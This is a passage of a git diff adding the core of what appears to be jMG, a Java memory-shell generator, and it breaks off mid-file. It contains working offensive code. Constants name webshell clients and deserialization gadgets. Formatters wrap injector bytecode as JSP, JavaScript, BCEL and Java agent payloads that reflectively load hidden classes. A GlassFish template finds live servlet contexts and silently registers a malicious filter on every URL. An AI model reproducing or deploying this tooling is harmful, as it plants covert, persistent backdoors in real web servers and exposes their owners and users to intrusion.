SHELL_VALVE = "Valve"; + public static final String SHELL_INTERCEPTOR = "Interceptor"; + public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod"; + public static final String SHELL_WS_ENDPOINT = "WSEndpoint"; + public static final String FORMAT_CLASS = "CLASS"; + public static final String FORMAT_BCEL = "BCEL"; + public static final String FORMAT_JSP = "JSP"; + public static final String FORMAT_JAR = "JAR"; + public static final String FORMAT_JAR_AGENT = "JAR_AGENT"; + public static final String FORMAT_JS = "JS"; + public static final String FORMAT_BASE64 = "BASE64"; + public static final String FORMAT_BIGINTEGER = "BIGINTEGER"; + + + public static final String GADGET_FJ_GROOVY = "FastjsonGroovy"; + + public static final String GADGET_SNAKEYAML = "SnakeYaml"; + + public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet"; + public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet"; + + public static final String TOOL_ANTSWORD = "AntSword"; + public static final String TOOL_BEHINDER = "Behinder"; + public static final String TOOL_GODZILLA = "Godzilla"; + + public static final String TOOL_CUSTOM = "Custom"; + + public static final String TOOL_NEOREGEORG = "NeoreGeorg"; + public static final String TOOL_SUO5 = "Suo5"; + + public static final String EXPR_EL = "EL"; + public static final String EXPR_SPEL = "SpEL"; + public static final String EXPR_OGNL = "OGNL"; + public static final String EXPR_FREEMARKER = "FreeMarker"; + public static final String EXPR_VELOCITY = "Velocity"; + public static final String EXPR_JS = "ScriptEngineManager(JS)"; +} diff --git a/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java b/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java new file mode 100755 index 0000000..c8ac1d5 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java @@ -0,0 +1,15 @@ +package jmg.core.format; + + +import jmg.core.config.AbstractConfig; + +import java.io.IOException; +import java.util.Base64; + +public class BASE64Formater implements IFormater { + @Override + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + Base64.Encoder base64Encoder = Base64.getEncoder(); + return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes(); + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/BCELFormater.java b/jmg-core/src/main/java/jmg/core/format/BCELFormater.java new file mode 100755 index 0000000..757a343 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BCELFormater.java @@ -0,0 +1,16 @@ +package jmg.core.format; + +import jmg.core.config.AbstractConfig; +import me.gv7.woodpecker.bcel.HackBCELs; + +import java.io.IOException; + +public class BCELFormater implements IFormater { + + + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + // 解决 BCEL 的classloader 的问题 + byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config); + return HackBCELs.encode(bcelClzBytes).getBytes(); + } +} diff --git a/jmg-core/src/main/java/jmg/core/format/BCELoader.java b/jmg-core/src/main/java/jmg/core/format/BCELoader.java new file mode 100644 index 0000000..20b8b71 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BCELoader.java @@ -0,0 +1,53 @@ +package jmg.core.format; + +import java.lang.reflect.Method; + +public class BCELoader { + static { + new BCELoader(); + } + + private String getClassName() { + return ""; + } + + private String getBase64String() { + return ""; + } + + public BCELoader() { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + byte[] clazzBytes = decodeFromBase64(getBase64String()); + Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length); + clazz.newInstance(); + } catch (Exception ee) { + } + } + } + + public static byte[] decodeFromBase64(String input) { + byte[] var2 = null; + + Class var1; + try { + var1 = Class.forName("java.util.Base64"); + Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null); + var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input)); + } catch (Exception var6) { + try { + var1 = Class.forName("sun.misc.BASE64Decoder"); + Object var4 = var1.newInstance(); + var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input)); + } catch (Exception var5) { + } + } + + return var2; + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java b/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java new file mode 100644 index 0000000..17ccf38 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java @@ -0,0 +1,77 @@ +package jmg.core.format; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import jmg.core.config.AbstractConfig; +import jmg.core.util.JavassistUtil; + +public class BCELoaderGenerator { + public static byte[] generatorBCELoaderClass(AbstractConfig config) { + try { + ClassPool pool = ClassPool.getDefault(); + ClassClassPath classPath = new ClassClassPath(BCELoader.class); + pool.insertClassPath(classPath); + CtClass ctClass = pool.getCtClass(BCELoader.class.getName()); + ctClass.setName(config.getLoaderClassName()); + ctClass.getClassFile().setVersionToJava5(); + CtMethod getClassName = ctClass.getDeclaredMethod("getClassName"); + getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName())); + CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); + String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), ""); + String[] parts = splitChunks(base64ClassString, 40000); + StringBuilder result = new StringBuilder(); + for (int i = 0; i < parts.length; i++) { + if (i > 0) result.append("+"); + result.append("new String(\"" + parts[i] + "\")"); + } + getBase64String.setBody(String.format("{return %s;}", result)); + ctClass.defrost(); + JavassistUtil.removeSourceFileAttribute(ctClass); + byte[] bytes = ctClass.toBytecode(); + ctClass.detach(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + private static String encodeToBase64(byte[] input) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input); + } catch (Exception var5) { + } + } + return value; + } + + private static String[] splitChunks(String source, int CHUNK_SIZE) { + String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)]; + char[] payload = source.toCharArray(); + int start = 0; + for (int i = 0; i < ret.length; i++) { + if (start + CHUNK_SIZE > payload.length) { + char[] b = new char[payload.length - start]; + System.arraycopy(payload, start, b, 0, payload.length - start); + ret[i] = new String(b); + } else { + char[] b = new char[CHUNK_SIZE]; + System.arraycopy(payload, start, b, 0, CHUNK_SIZE); + ret[i] = new String(b); + } + start += CHUNK_SIZE; + } + return ret; + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java b/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java new file mode 100755 index 0000000..8adf8ac --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java @@ -0,0 +1,14 @@ +package jmg.core.format; + + +import jmg.core.config.AbstractConfig; + +import java.io.IOException; +import java.math.BigInteger; + +public class BigIntegerFormater implements IFormater { + @Override + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + return new BigInteger(clazzbyte).toString(36).getBytes(); + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/IFormater.java b/jmg-core/src/main/java/jmg/core/format/IFormater.java new file mode 100755 index 0000000..bd96cf6 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/IFormater.java @@ -0,0 +1,10 @@ +package jmg.core.format; + + +import jmg.core.config.AbstractConfig; + +import java.io.IOException; + +public interface IFormater { + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception; +} diff --git a/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java b/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java new file mode 100755 index 0000000..9c0b569 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java @@ -0,0 +1,98 @@ +package jmg.core.format; + +import javassist.ClassPool; +import javassist.CtClass; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.template.SpringMVCAgentTransformer; +import jmg.core.template.TomcatAgentTransformer; +import jmg.core.util.CommonUtil; +import jmg.core.util.JavassistUtil; + +import java.io.*; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.Enumeration; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +public class JARAgentFormater implements IFormater { + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception { + String className = TomcatAgentTransformer.class.getName(); + String simpleName = TomcatAgentTransformer.class.getSimpleName(); + if (config.getServerType().equals(Constants.SERVER_TOMCAT)){ + className = TomcatAgentTransformer.class.getName(); + simpleName = TomcatAgentTransformer.class.getSimpleName(); + } + if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)){ + className = SpringMVCAgentTransformer.class.getName(); + simpleName = SpringMVCAgentTransformer.class.getSimpleName(); + } + String classFileName = simpleName.replace('.', '/') + ".class"; + ClassPool pool = ClassPool.getDefault(); +// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取 +// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile()); + + InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar"); + File jarFile = File.createTempFile("jmg-agent", ".jar"); + try (FileOutputStream out = new FileOutputStream(jarFile)) { + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = jarStream.read(buffer)) != -1) { + out.write(buffer, 0, bytesRead); + } + } + + Manifest manifest = createManifest(simpleName); + File tempJarFile = File.createTempFile("tempJar", ".jar"); + + try (JarFile jar = new JarFile(jarFile); + JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) { + + copyJarEntries(jar, tempJar); + + addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(),CommonUtil.encodeBase64(clazzbyte)); + } catch (Exception e) { + e.printStackTrace(); + } + + return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath())); + } + + private Manifest createManifest(String simpleName) { + Manifest manifest = new Manifest(); + manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); + manifest.getMainAttributes().putValue("Agent-Class", simpleName); + manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true"); + manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true"); + manifest.getMainAttributes().putValue("Main-Class", simpleName); + return manifest; + } + + private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException { + Enumeration jarEntries = jar.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry entry = jarEntries.nextElement(); + try (InputStream entryInputStream = jar.getInputStream(entry)) { + tempJar.putNextEntry(entry); + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = entryInputStream.read(buffer)) != -1) { + tempJar.write(buffer, 0, bytesRead); + } + } + } + } + + private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar,String injectFlag, String injectorCode) throws Exception { + CtClass ctClass = pool.get(className); + ctClass.getClassFile().setVersionToJava5(); + ctClass.setName(simpleName); + JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";"); + tempJar.putNextEntry(new JarEntry(classFileName)); + tempJar.write(ctClass.toBytecode()); + ctClass.detach(); + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/JARFormater.java b/jmg-core/src/main/java/jmg/core/format/JARFormater.java new file mode 100755 index 0000000..0b5d4c5 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/JARFormater.java @@ -0,0 +1,47 @@ +package jmg.core.format; + +import jmg.core.config.AbstractConfig; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +public class JARFormater implements IFormater { + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + String className = config.getInjectorClassName(); + String jarEntryFileName = className.replace(".", "/") + ".class"; + + Manifest manifest = new Manifest(); + manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); + + ByteArrayOutputStream out = new ByteArrayOutputStream(); + try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) { + jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName)); + jarOutputStream.write(clazzbyte); + jarOutputStream.closeEntry(); + + // fastjson + groovy 的利用 + if (config.isImplementsASTTransformationType()) { + String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation"; + JarEntry entry = new JarEntry(entryName); + jarOutputStream.putNextEntry(entry); + jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); + jarOutputStream.closeEntry(); + } + + // snakeyaml + loadJar 的利用 + if (config.isImplementsScriptEngineFactory()) { + String entryName = "META-INF/services/javax.script.ScriptEngineFactory"; + JarEntry entry = new JarEntry(entryName); + jarOutputStream.putNextEntry(entry); + jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); + jarOutputStream.closeEntry(); + } + } + + return out.toByteArray(); + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/format/JSPFormater.java b/jmg-core/src/main/java/jmg/core/format/JSPFormater.java new file mode 100755 index 0000000..f50256b --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/JSPFormater.java @@ -0,0 +1,35 @@ +package jmg.core.format; + +import jmg.core.config.AbstractConfig; +import me.gv7.woodpecker.tools.codec.BASE64Encoder; + +import java.io.IOException; + +public class JSPFormater implements IFormater { + + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + String strJSP = "<%\n" + + " ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" + + " try{\n" + + " classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" + + " }catch (Exception e){\n" + + " java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" + + " defineClass.setAccessible(true);\n" + + " String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" + + " byte[] bytecode = null;\n" + + " try {\n" + + " Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" + + " Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + + " Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" + + " bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" + + " } catch (ClassNotFoundException ee) {\n" + + " Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + + " bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" + + " }\n" + + " Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" + + " clazz.newInstance();\n" + + " }\n" + + "%>"; + return strJSP.getBytes(); + } +} diff --git a/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java b/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java new file mode 100755 index 0000000..43a910d --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java @@ -0,0 +1,36 @@ +package jmg.core.format; + +import jmg.core.config.AbstractConfig; +import me.gv7.woodpecker.tools.codec.BASE64Encoder; + +import java.io.IOException; + +public class JavaScriptFormater implements IFormater { + public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { + String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" + + "}catch (e){\n" + + " var clsString = classLoader.loadClass('java.lang.String');\n" + + " var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" + + " var bytecode;\n" + + " try{\n" + + " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" + + " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + + " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" + + " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" + + " } catch (ee) {\n" + + " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + + " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" + + " }\n" + + " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" + + " var clsByteArray = classLoader.loadClass('[B');\n" + + " var clsInt = java.lang.Integer.TYPE;\n" + + " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" + + " defineClass.setAccessible(true);\n" + + " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" + + " clazz.newInstance();\n" + + "}"; + return strJS.getBytes(); + } +} diff --git a/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java b/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java new file mode 100644 index 0000000..f3124bd --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java @@ -0,0 +1,14 @@ +package jmg.core.generator; + +import javassist.ClassPool; +import jmg.core.config.AbstractConfig; + +public interface IShellGenerator { + ClassPool pool = ClassPool.getDefault(); + + void initShell(AbstractConfig config); + + byte[] makeShell(AbstractConfig config) throws Exception; + + byte[] modifyShell(String className, AbstractConfig config); +} diff --git a/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java new file mode 100644 index 0000000..b316e4b --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java @@ -0,0 +1,95 @@ +package jmg.core.generator; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.util.CommonUtil; +import jmg.core.util.CtClassUtil; +import jmg.core.util.InjectorUtil; +import jmg.core.util.JavassistUtil; + + +/** + * 注入器生成 + */ +public class InjectorGenerator { + public byte[] makeInjector(AbstractConfig config) throws Exception { + String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType()); + String injectorClassName = InjectorUtil.getInjectorClassName(injectorName); + byte[] bytes = UtilPlus.generate(injectorClassName, config); + config.setInjectorBytes(bytes); + config.setInjectorBytesLength(bytes.length); + return bytes; + } + + + public static class UtilPlus { + @SuppressWarnings("unchecked") + private final static ClassPool pool = ClassPool.getDefault(); + + public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception { + pool.insertClassPath(new ClassClassPath(InjectorGenerator.class)); + CtClass ctClass = pool.getCtClass(injectorTplClassName); + ctClass.getClassFile().setVersionToJava5(); + String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), ""); + + String urlPattern = config.getUrlPattern(); + String shellClassName = config.getShellClassName(); + + if (base64ShellString != null) { + CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); + String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000); + StringBuilder result = new StringBuilder(); + for (int i = 0; i < parts.length; i++) { + if (i > 0) + result.append("+"); + result.append("new String(\"" + parts[i] + "\")"); + } + + getBase64String.setBody(String.format("{return %s;}", result)); + } + + if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) { + CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern"); + getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern)); + } + + if (shellClassName != null) { + CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName"); + getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName)); + } + + JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName()); + JavassistUtil.removeSourceFileAttribute(ctClass); + byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation(); + ctClass.detach(); + return bytes; + } + + private static String[] splitChunks(String source, int CHUNK_SIZE) { + String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)]; + char[] payload = source.toCharArray(); + int start = 0; + for (int i = 0; i < ret.length; i++) { + if (start + CHUNK_SIZE > payload.length) { + char[] b = new char[payload.length - start]; + System.arraycopy(payload, start, b, 0, payload.length - start); + ret[i] = new String(b); + } else { + char[] b = new char[CHUNK_SIZE]; + System.arraycopy(payload, start, b, 0, CHUNK_SIZE); + ret[i] = new String(b); + } + start += CHUNK_SIZE; + } + return ret; + } + } + + +} + + diff --git a/jmg-core/src/main/java/jmg/core/jMGCodeApi.java b/jmg-core/src/main/java/jmg/core/jMGCodeApi.java new file mode 100644 index 0000000..1478674 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/jMGCodeApi.java @@ -0,0 +1,52 @@ +package jmg.core; + + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.format.*; + +public class jMGCodeApi { + AbstractConfig config; + + public jMGCodeApi(AbstractConfig config) { + this.config = config; + } + + public byte[] generate() throws Throwable { + byte[] clazzBytes; + clazzBytes = config.getInjectorBytes(); + if (clazzBytes == null) { + return null; + } + + // 格式转换 + byte[] bytes = null; + switch (config.getOutputFormat()) { + case Constants.FORMAT_BCEL: + bytes = new BCELFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_JSP: + bytes = new JSPFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_JAR: + bytes = new JARFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_JAR_AGENT: + bytes = new JARAgentFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_JS: + bytes = new JavaScriptFormater().transform(clazzBytes, config); + break; + case Constants.FORMAT_BASE64: + bytes = new BASE64Formater().transform(clazzBytes, config); + break; + case Constants.FORMAT_BIGINTEGER: + bytes = new BigIntegerFormater().transform(clazzBytes, config); + break; + default: + bytes = clazzBytes; + break; + } + return bytes; + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java new file mode 100644 index 0000000..857e644 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java @@ -0,0 +1,208 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +public class GlassFishFilterInjectorTpl { + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new GlassFishFilterInjectorTpl(); + } + + public GlassFishFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) contexts.add(context); + } + } + } + } + } catch (Exception ignored) { + } + return contexts; + } + + private Object getFilter(Object context) throws Exception { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return filter; + } + + public void addFilter(Object context, Object filter) throws Exception { + String filterName = getSimpleName(getClassName()); + try { + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFV(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + + } catch (Exception e) { + } + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static String getSimpleName(String className) { + int lastDotIndex = className.lastIndexOf("."); + if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) { + return className.substring(lastDotIndex + 1); + } + return className; + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java new file mode 100644 index 0000000..f31fdf8 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java @@ -0,0 +1,193 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EventListener; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +public class GlassFishListenerInjectorTpl { + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new GlassFishListenerInjectorTpl(); + } + + public GlassFishListenerInjectorTpl() { + try { + List contexts = getContext(); + for 